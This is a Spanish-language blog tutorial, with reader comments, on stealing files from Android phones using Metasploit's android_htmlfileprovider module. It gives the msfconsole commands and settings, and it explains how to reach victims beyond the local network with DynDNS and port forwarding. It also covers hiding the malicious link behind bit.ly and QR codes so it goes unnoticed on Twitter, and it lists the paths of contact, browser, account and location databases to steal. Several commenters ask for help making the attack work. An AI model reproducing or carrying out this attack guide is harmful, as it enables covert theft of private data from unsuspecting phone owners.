Obteniendo información de dispositivos Android con Metasploit

Android QR MetasploitHoy vamos a ver como gracias a un módulo auxiliar de Metasploit podremos obtener archivos del sistema de ficheros de un dispositivo Android, simplemente conectandonos a una ip local. Tambien veremos como usar servicios de direcionamiento de IP dinámica como DynDNS para llevar el ataque más lejos de una red local. Por último, veremos cómo ofuscar la dirección gracias a los códigos QR y las webs dedicadas a acortar enlaces como bit.ly.

Empecemos!

Robando archivos con android_htmlfileprovider

Lo primero es arrancar msfconsole

root@bt:~# /opt/framework3/msf3/msfconsole

Ahora usaremos uno de los módulos auxiliares de Metasploit que sirve exactamente para nuestro fin, que es obtener archivos de los dispositivos que se conecten a nuestra IP de Metasploit:

msf > use gather/android_htmlfileprovider
msf auxiliary(android_htmlfileprovider) >

Ahora, veamos las opciones que nos proporciona el módulo…

msf auxiliary(android_htmlfileprovider) > show options
  • FILES (los archivos del terminal Android que queremos robar)
  • SRVHOST (la IP local en la que escucha el exploit, a la que debe conectarse el terminal)
  • SRVPORT (el puerto en el que estará escuchando el exploit)
  • SSL (por si queremos usar SSL para la negociación de la conexión)
  • SSLVersion (en caso de que hayamos activado la opción anterior, la versión de ssl que queramos utilizar)
  • URIPATH (la URI que queramos utilizar)

De momento, no tocaremos la opción FILES, y al final de la entrada comentaré sobre unos archivos existentes en cualquier terminal Android con información sensible.

Cambiaremos SRVPORT a 80, ya que es el puerto normal de http, y será menos sospechoso que conectarse a otro puerto. Además cambiaremos también URIPATH, que por defecto es un string aleatorio, haremos que la victima se dirija a la raiz del server:

msf auxiliary(android_htmlfileprovider) > set SRVPORT 80
SRVPORT => 80
msf auxiliary(android_htmlfileprovider) > set URIPATH /
URIPATH => /

Ahora solo nos queda arrancar el exploit con run, y esperar a que algun dispositivo se conecte a nuestra ip en escucha.

Metasploit robando archivos de un dispositivo Android

Utilizando DynDNS para aumentar el radio de acción

Como ya hemos dicho, si realizamos este ataque segun lo planteado arriba solo funcionaría en LAN, pero al ser smartphones, que no suelen pasar mucho tiempo conectados a una red wifi determinada nos interesa que el radio de acción del exploit sea mayor. Para ello en este caso vamos a utilizar DynDNS que es un servicio de direccionamiento dinámico que nos proporciona un dominio del tipo nombre.dyndns*.org.

Para obtener uno, tenemos que ir a http://dyn.com/ y crearnos una cuenta. Despues aquí podemos registrar el dominio que elijamos. Tras esto solo quedaría ir a la configuración de nuestro router e indicar el dominio, el username y la contraseña como se puede ver aqui (En otros routers puede ser distinto).

DynDNS en un router Netgear

Hay que decir que DynDNS es un servicio excelente si no disponemos de IP estática en casa y queremos acceder desde el exterior.

Una vez configurado el dominio de DynDNS solamente hay que redireccionar la ip adecuada en el router. Es decir, en nuestro caso, la victima se conectará a vidasconcurrentes.dyndns.org (por el puerto 80) y hay que configurar que ese puerto vaya a la IP en la que tengamos escuchando el exploit.

Portforwarding en router Netgear

Ofuscando el ataque con bit.ly y códigos QR

Ya tenemos todo para realizar el ataque, solo habria que pasarle la url a las víctimas y esperar a que se conecten. El problema es que una url del estilo vidasconcurrentes.dyndns.org puede ser bastante sospechosa. En este caso utilizaremos un acortador de urls del estilo de bit.ly (o podemos concatenar varios). Al utilizar el acortador de urls podemos asegurarnos que por ejemplo en Twitter el enlace pasará desapercibido.
Por último, si queremos que el ataque sea más viral, podemos crear un código QR en http://qrcode.kaywa.com/ utilizando el enlace que nos genera bit.ly para hacer más dificil todavía la detección.
El código QR perteneciente a http://bit.ly/q9wRCW que redirige a vidasconcurrentes.dyndns.org sería este:

Código QR

Archivos y directorios curiosos en dispositivos Android

/data/data/com.android.providers.contacts/databases/contacts.db
/data/data/com.android.browser/databases/browser.db
/data/data/com.google.android.googleapps/databases/accounts.db
/data/data/com.android.browser/gears/geolocation.db
/data/data/com.android.providers.telephony/databases/
/data/data/com.google.android.apps.maps/databases/search_history.db
/data/data/com.google.android.providers.gmail/databases/

La mayoría de aplicaciones tienen un directorio databases del que se puede sacar bastante información

NOTA: Este tutorial está incompleto ya que resultaría muy fácil realizar este ataque en una red social como Twitter y robar bastantes archivos de dispositivos móviles.

Fuente

7 Respuestas a Obteniendo información de dispositivos Android con Metasploit

  1. hola buenas me parece un poco molesto que este incompleto puesto que creo que la informacion deberia ser libre pero bueno estas en tu derecho ya que tu escribes el post me tocara googlear un poco aunque ya se como va el tema asi por encima muchas gracias por la info esta muy bien explicada y se entiende muy bien espero mas tutos , aunque algunos esten incompletos,siempre se agradece un saludo y muchas gracias

  2. Hola!
    Me pasa lo mismo que al ultimo usuario.
    Me queda en sending payload html ,alguna idea?
    Gracias!!

  3. estoy tratando de sacarle esto /data/data/com.android.probiders.contacts/contacts.db y al escanear el codigo qr no me manda eso me manda algo parecido a lo de la imagen solo datos del mobi

  4. yo tengo mi android rooteado para poder sacarle mas informacion como por ejemplo los contactos o culquier otra cosa pero al escanear el codigo qr lo unico que me manda es la informacion del android el modelo del mobil pero no me da la informacion que segun yo le saque que es la de
    los contactos

  5. Excelente, una pregunta, el archivo se descarga el la computadora del atacante o solo se puede visualizar por consola?, otra pregunta, si o si la victima debe ejecutar el html que se descarga al ingresar a la pagina?